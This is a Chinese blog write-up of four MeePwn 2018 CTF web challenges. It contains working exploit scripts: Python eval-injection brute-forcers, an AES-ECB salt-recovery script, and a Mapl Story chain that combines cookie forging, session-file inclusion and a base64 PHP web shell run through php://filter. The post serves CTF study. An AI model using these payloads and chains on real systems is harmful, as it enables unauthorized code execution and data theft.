sky's blog

2018 MeePwn-Web-复现

字数统计: 3,952阅读时长: 19 min
2018/07/26 Share

OmegaSector

题目链接:http://138.68.228.12/
html注释中

访问

1
http://138.68.228.12/?is_debug=1

得到回显

发现网站源码,这里给出关键部分:

flag的位置

1
2
ini_set("display_errors", 0); 
include('secret.php');

两个跳转功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if($whoareyou==="alien.somewhere.meepwn.team") 
{
if(!isset($_GET['alien']))
{
$wrong = <<<EOF
.......(省略)
EOF;
echo $wrong;
}
if(isset($_GET['alien']) and !empty($_GET['alien']))
{
if($_GET['alien']==='@!#$@!@@')
{
$_SESSION['auth']=hash('sha256', 'alien'.$salt);
exit(header( "Location: alien_sector.php" ));
}
else
{
mapl_die();
}
}
}

这里有一个链接的跳转header( "Location: alien_sector.php" ),但是需要$_GET['alien']==='@!#$@!@@'
然后紧接着

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elseif($whoareyou==="human.ludibrium.meepwn.team") 
{
if(!isset($_GET['human']))
{
echo "";
$wrong = .......(省略)
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human']))
{
if($_GET['human']==='Yes')
{
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
}
else
{
mapl_die();
}
}
}

这里也有一个不同的跳转omega_sector.php,需要$_GET['human']==='Yes'

$whoareyou的来源

1
2
3
4
5
6
7
8
9
10
$remote=$_SERVER['REQUEST_URI']; 
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);

攻击思路

那么很明显,第一步是要过这里的whoareyou解析
我们必须访问题目的链接http://138.68.228.12/,但是又需要它将host解析成alien.somewhere.meepwn.teamhuman.ludibrium.meepwn.team
那么这里就可以利用Burp抓包修改bypass

显然成功触发了302跳转
我们跟一下

成功来到了alien_sector.php页面

经过fuzz,不难发现,这个页面只允许输入符号,而数字和字母是非法的

type控制文件后缀,message控制文件内容
另一边,omega_sector.php是一样的,我就不再赘述,是只允许字母和数字,不允许任何符号
而对于符号,我立刻就想到了利用?来通配bypass的trick,而对于php标签,在Solveme.peng.kr中遇到过:

1
http://www.freebuf.com/articles/web/165537.html

类似于

1
<?=$flag='123';?>

可以被解析为

1
2
3
4
<?php
$flag='123';
echo $flag;
?>

而对于通配符,早在geekgame中我也遇到过:

1
http://skysec.top/2017/10/28/geekgame%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97

所以这里可以用?来通配命令
例如

我们可以利用/???/???来通配/bin/cat
而flag文件

1
../secret.php

可以用

1
../??????.???

简单测试

访问该文件得到

it works!

payload

综上所述,可以得到payload

为什么使用重定向:因为我尝试过直接读取,但是貌似太大了,页面一直在加载中,很难受
访问该页面,下载重定向文件,即可看到flag

PyCalx

题目链接:http://178.128.96.203/cgi-bin/server.py?value1=123&op=%3D%3D&value2=123
题目直接给出了源码(给出关键部分)

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import cgi;
import sys
from html import escape

FLAG = open('/var/www/flag','r').read()
if 'source' in arguments:
source = arguments['source'].value
else:
source = 0

if source == '1':
print('<pre>'+escape(str(open(__file__,'r').read()))+'</pre>')

if 'value1' in arguments and 'value2' in arguments and 'op' in arguments:
def get_value(val):
val = str(val)[:64]
if str(val).isdigit(): return int(val)
blacklist = ['(',')','[',']','\'','"'] # I don't like tuple, list and dict.
if val == '' or [c for c in blacklist if c in val] != []:
print('<center>Invalid value</center>')
sys.exit(0)
return val

def get_op(val):
val = str(val)[:2]
list_ops = ['+','-','/','*','=','!']
if val == '' or val[0] not in list_ops:
print('<center>Invalid op</center>')
sys.exit(0)
return val

op = get_op(arguments['op'].value)
value1 = get_value(arguments['value1'].value)
value2 = get_value(arguments['value2'].value)

if str(value1).isdigit() ^ str(value2).isdigit():
print('<center>Types of the values don\'t match</center>')
sys.exit(0)

calc_eval = str(repr(value1)) + str(op) + str(repr(value2))

print('<div class=container><div class=row><div class=col-md-2></div><div class="col-md-8"><pre>')
print('>>>> print('+escape(calc_eval)+')')

try:
result = str(eval(calc_eval))
if result.isdigit() or result == 'True' or result == 'False':
print(result)
else:
print("Invalid") # Sorry we don't support output as a string due to security issue.
except:
print("Invalid")

代码很好理解,接收了4个参数,对其中3个参数进行check(source参数不check)
然后拼接3个参数,进行命令执行
判断执行结果是否为bool值或者数字,如果是,则输出,反之则输出无效
那我们的思路也很简单了,bypass过滤,执行命令,读取/var/www/flag
而过滤如下:

1
2
3
1.对于value:最长为64,不可出现黑名单字符'( ) [ ] ' " '
2.对于op:最长为2,必须以白名单开头'+ - / * = !'
3.value1和value2的类型必须一样,要么都为数字,要么都为字符串

攻击思路

这里想要命令执行显然比较困难
但是题目暗示明显,想让我们进行运算比较
那这就和sql注入很相似了,我们只需要构造两个值进行比较即可
而题目意图也很直接,关于op,留下了2个字符长度,却只过滤了一个
我们知道python中,+除了运算符的加,也可以当做拼接符
#可以用于注释
那么就可以进行注入闭合了

1
2
3
value1=a
op=+'
value2= < b#

此时我们可以发现语句变成了

1
'a'+''<b#'

但是这样是无效的,因为b不是一个已定义的变量
所以这里想到引入已定义的变量进行注入
那么能控制的也只有source、value1了(因为value2无法引入单引号)
此时还只能构造已定义变量的表达式,所以想到了

1
value1+FLAG<vaule1+source

这样的表达式
对于source的值,我们可以控制

1
2
if 'source' in arguments:
source = arguments['source'].value

故此可以得到如下的payload:

1
source=M&value1=sky&value2=+FLAG<value1+source#&op=+'

这样一来就可以得到比较式

1
'x'+''+FLAG<value1+source

而value1正是前面的x,我们可以利用能控制的source比较出FLAG
这也是sql注入中常见的手段

注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import urllib
source="M"
v2="+FLAG<value1+source#"
op="+'"

for i in range(1,1000):
tmp = source
for j in range(33,127):
tmp += chr(j)
url = "http://178.128.96.203/cgi-bin/server.py?source=%s&value1=sky&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
s=requests.get(url=url)
tmp = source
if "True" in s.content[765:780]:
source += chr(j-1)
print source
break

运行结束即可得到flag

PyCalx2

这里变成了加强版,有了我之前说的op过滤

我们对比一下两者源码,只有这一处改动

1
op = get_op(get_value(arguments['op'].value))

也就是说加入了黑名单过滤
我们的op不能再引入( ) [ ] ' "
那么引号肯定是不能直接像sql注入那样闭合了

攻击思路

这里就用到了python3.6的新特性

1
https://www.python.org/dev/peps/pep-0498/

即以f 开头,表达式放在大括号{}里,在运行时表达式会被计算并替换成对应的值。

那么我们可以利用op=+f来进行bypass

为了有办法辨识正确性,所以引入了0和1做对比
但是因为结果只允许True和False
在保证区分度的情况下,还得构造出True
这里就用到了14:x
正如图中所示,其经过表达式后,值为e
而表达式中,如果是0的话,那么输出则为True,如果为1的话,那么输出则不是True,也就是无效
这样就有了辨识度,可以进行注入了
直接将0和1的位置改成FLAG<source进行比较即可

攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import urllib
source="M"
v2="ru{FLAG<source or 14:x}"
op="+f"

for i in range(1,1000):
tmp = source
for j in range(33,127):
tmp += chr(j)
url = "http://206.189.223.3/cgi-bin/server.py?source=%s&value1=T&value2=%s&op=%s"%(urllib.quote(tmp),urllib.quote(v2),urllib.quote(op))
s=requests.get(url=url)
tmp = source
if "True" not in s.content[765:780]:
source += chr(j-1)
print source
break

运行后得到flag

Mapl Story

题目链接:http://178.128.87.16/
题目源码下载:
https://ctf.meepwn.team/attachments/web/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip

代码分析

拿到代码后,发现不是框架写的,那么就从入口入手吧
审计index.php

1
2
3
4
5
6
7
8
if(isset($_GET['page']) && !empty($_GET['page']))
{
include($_GET['page']);
}
else
{
header("Location: ?page=login.php");
}

不难发现存在文件包含问题,这里暂时记下
然后跟着跳转来到Login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if( $count === 1 && $row['userPass']===$password ) 
{
$secure_email=encryptData($row['userEmail'],$salt,$key);
$secure_name=encryptData($row['userName'],$salt,$key);
$log_content='['.date("h:i:sa").' GMT+7] Logged In';
$_SESSION['character_name'] = $secure_name;
$_SESSION['user'] = $secure_email;
$_SESSION['action']=$log_content;
if ($row['userIsAdmin']==='1')
{
$data='admin'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
else
{
$data='user'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
header("Location: ?page=home.php");
}

登录成功后,将会把登录的身份+盐的sha256赋值给cookie的_role
我们继续跟进到admin.php,看是否使用_role判断是否为admin
关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
ob_start();
require_once('dbconnect.php');
require_once('mapl_library.php');
check_access();
is_login();

//setup config
$configRow=config_connect($conn);
$salt=$configRow['mapl_salt'];
$key=$configRow['mapl_key'];

//get information
$mail=mysqli_real_escape_string($conn,decryptData($_SESSION['user'],$salt,$key));
$character_name=mysqli_real_escape_string($conn,decryptData($_SESSION['character_name'],$salt,$key));
$userRow=user_connect($conn,$mail);
$admin=is_admin($salt);
if($admin===0)
{
mapl_die();
}
$log_content='['.date("h:i:sa").' GMT+7] Access Hidden Street!';
$_SESSION['action']=$log_content;
?>

我们跟进is_admin()函数

1
2
3
4
5
6
7
8
function is_admin($salt)
{
if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt))
{
return 1;
}
return 0;
}

发现的确是使用cookie中的_role来确认admin的身份
那么现在的思路很简单,伪造cookie,变成admin,触发下一步功能

第一步攻击思路

那么既然需要伪造cookie,就必须知道salt的值
我们全局搜索一下$salt,不难发现

1
2
3
4
5
6
7
function encryptData($data,$salt,$key)
{
$encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
$raw=base64_decode($encrypt);
$final=implode(unpack("H*", $raw));
return $final;
}

因为有做过CBC的Padding Oracle Attack,所以我知道这里的ECB可能也存在问题
或许可以用类似的方法,得到$salt的明文
而我们知道这个函数的调用点在login的时候

1
2
3
4
$secure_email=encryptData($row['userEmail'],$salt,$key);            
$secure_name=encryptData($row['userName'],$salt,$key);
$_SESSION['character_name'] = $secure_name;
$_SESSION['user'] = $secure_email;

值是存在session里的,那我们如何看到这个值呢?
这就要用到最开始的文件包含了
文件包含的时候包含session是一种常见的手段
一般用于getshell等(N1CTF等各大比赛就曾出现过)
这里我们可以使用包含读取session的变量值

1
http://178.128.87.16/?page=/var/lib/php/sessions/sess_81nfo68a16biqs4miuu17146n3

得到内容

1
character_name|s:64:"28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b";user|s:64:"c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005";action|s:28:"[12:56:31pm GMT+7] Logged In";

于是我们得到了加密过的

1
2
$secure_email:c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005
$secure_name:28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b

那么怎么利用这一点得到$salt呢?
这里可以利用相似Padding Oracle Attack的解法,但是简单的多

1.假设明文为:skycool, salt的值为:Whitzard
2.加密的时候就会变成string:skycoolWhitzard
而如果8个一组进行加密的话
skycoolW为第一组
hitzard+(padding)为第二组
那么如果我们注册一个用户名为skycool的用户,得到他的$secure_name
然后不断更新用户名
skycoola
skycoolb
…..
直到第一个分组的密文等于之前的$secure_name
即skycoolW
此时就得到了第一个salt的值:W
所以总体过程为
skycoolW
skycooWhitzard
skycoWhi
skycWhit
skyWhitz
skWhitza
sWhitzar
Whitzard

而这里是16个一组,所以如图,我们不断往后爆破即可得到salt
即注册skyskyskyskysky即可,然后利用

1
http://178.128.87.16/index.php?page=setting.php


即可更改用户名,不断进行爆破,即可得到salt

salt爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import string
phpsession = "alsobtmcmlh2i057l1q8qg8g72"
phprole = "8e1c59c3fdd69afbc97fcf4c960aa5c5e919e7087c07c91cf690add608236cbe"

def readname():
url = "http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_"+phpsession
r = requests.get(url=url)
return r.content[21:85]

def changname(username):
url = "http://178.128.87.16/index.php?page=setting.php"
data = {
"name":username,
"submit":"Edit"
}
cookie = {
"PHPSESSID":phpsession,
"_role":phprole
}
s = requests.post(url=url,data=data,cookies=cookie)

def getsalt():
tmp_name = 'skyskyskyskysky'
salt = ''
for i in range(15, -1, -1):
changname(tmp_name[:i])
cmp = readname()[:32]
if i==0:
cmp = readname()[32:64]
for j in string.printable:
changname(tmp_name[:i] + salt + j)
if cmp == readname()[:32]:
salt += j
print salt
break

getsalt()

运行即可得到salt:ms_g00d_0ld_g4m3

第二步攻击思考

有了salt,第一件事肯定是伪造cookie的_role
我们根据

1
2
3
4
5
6
if ($row['userIsAdmin']==='1')
{
$data='admin'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}

伪造cookie:

1
2
3
4
5
6
7
8
import hashlib
def sha256(name,salt):
sha = hashlib.sha256(name+salt)
encrypts = sha.hexdigest()
return encrypts
salt = 'ms_g00d_0ld_g4m3'
name = 'admin'
print sha256(name,salt)

得到

1
a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054



此时成功伪造admin,登入admin.php页面
然后我们看一下admin.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
{
$dir='./upload/'.md5($salt.$_POST['email']).'/';
give_pet($dir,$_POST['pet']);
if(check_available_pet($_POST['pet']))
{
$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
$_SESSION['action']=$log_content;
}
}
?>

这里有一个地方非常瞩目,因为我之前有说过,包含session文件getshell是比较常见的一个思路
那么这里有一个可控的session变量就显得尤为危险
我们看一下构造

1
$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);

跟进search_name_by_mail()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function search_name_by_mail($conn,$mail)
{
$mail=mysqli_real_escape_string($conn,$mail);
$res=mysqli_query($conn,"SELECT userName FROM users WHERE userEmail='".$mail."'");
$userRow=mysqli_fetch_array($res);
if($userRow['userName'])
{
return $userRow['userName'];
}
else
{
return '[Not Exists Player]';
}
}

发现成功返回用户名,也就是说这里可以将用户名写入session
而用户名是可控的,但是必须经过黑名单过滤

1
$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";

除了过滤了一些脏话,有一个正则非常难受

1
|\(.+\)|`.+`|

而这个过滤是针对全局的get和post的,这样我们就不能直接利用用户名+session getshell了
所以这里就要用到最后一个尚未被使用的功能了:

1
http://178.128.87.16/index.php?page=character.php

跟一下代码

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_POST['command']) && !empty($_POST['command']))
{
if(strlen($_POST['command'])>=20)
{
echo '<center><strong>Too Long</strong></center>';
}
else
{
save_command($mail,$salt,$_POST['command']);
header("Refresh:0");
}
}

这里跟踪save_command()

1
2
3
4
5
function save_command($email,$salt,$data)
{
$dir='./upload/'.md5($salt.$email);
file_put_contents($dir.'/command.txt', $data);
}

发现是写文件
那么我们思考一下,可否包含自己写的文件进行getshell呢?
但是问题又来了,文件的内容是post形式的,那么还是要经过过滤,这就非常尴尬了
有没有什么可以绕过过滤的方法呢?
我们知道cookie是未被过滤的,而我们可控的点有一个txt的文件写入和一个php文件的内容,但是都要经过过滤
这里有一个比较好的思路
构造一个名为

1
<?=include"$_COOKIE[a]

的用户名
然后利用发送宠物,将其写入session
此时,我们就在cookie里有了文件包含的方法,这样就可以轻松bypass过滤
然后我们在写文件的地方,写入小马的base64
再利用伪协议包含这个文件,即可解码成功,并包含小马,达到getshell的目的

攻击流程

1.修改自己的用户名为:

1
<?=include"$_COOKIE[a]

2.admin.php发送宠物给自己
3.character.php给宠物下命令PD89YCRfR0VUW2ZdYDs

1
<?=`$_GET[f]`;

然后在自己的session页面

1
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_860rofo88uaj96mrs8u2ufk0k6

增加cookie:

1
a=php://filter/convert.base64-decode/resource=upload/783691d030e4c77da08982a705ff9e76/command.txt

利用伪协议解码小马,并包含进来

即可成功执行命令
然后读取dbconnect.php

1
2
3
4
5
6
7
8
9
10
define('DBHOST', 'localhost');
define('DBUSER', 'mapl_story_user');
define('DBPASS', 'tsu_tsu_tsu_tsu');
define('DBNAME', 'mapl_story');

$conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);

if ( !$conn ) {
die("Connection failed : " . mysql_error());
}

连接并查询数据库

1
echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story


得到flag

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. OmegaSector
    1. 1.1. flag的位置
    2. 1.2. 两个跳转功能
    3. 1.3. $whoareyou的来源
    4. 1.4. 攻击思路
    5. 1.5. payload
  2. 2. PyCalx
    1. 2.1. 源码分析
    2. 2.2. 攻击思路
    3. 2.3. 注入脚本
  3. 3. PyCalx2
    1. 3.1. 攻击思路
    2. 3.2. 攻击脚本
  4. 4. Mapl Story
    1. 4.1. 代码分析
    2. 4.2. 第一步攻击思路
    3. 4.3. salt爆破脚本
    4. 4.4. 第二步攻击思考
    5. 4.5. 攻击流程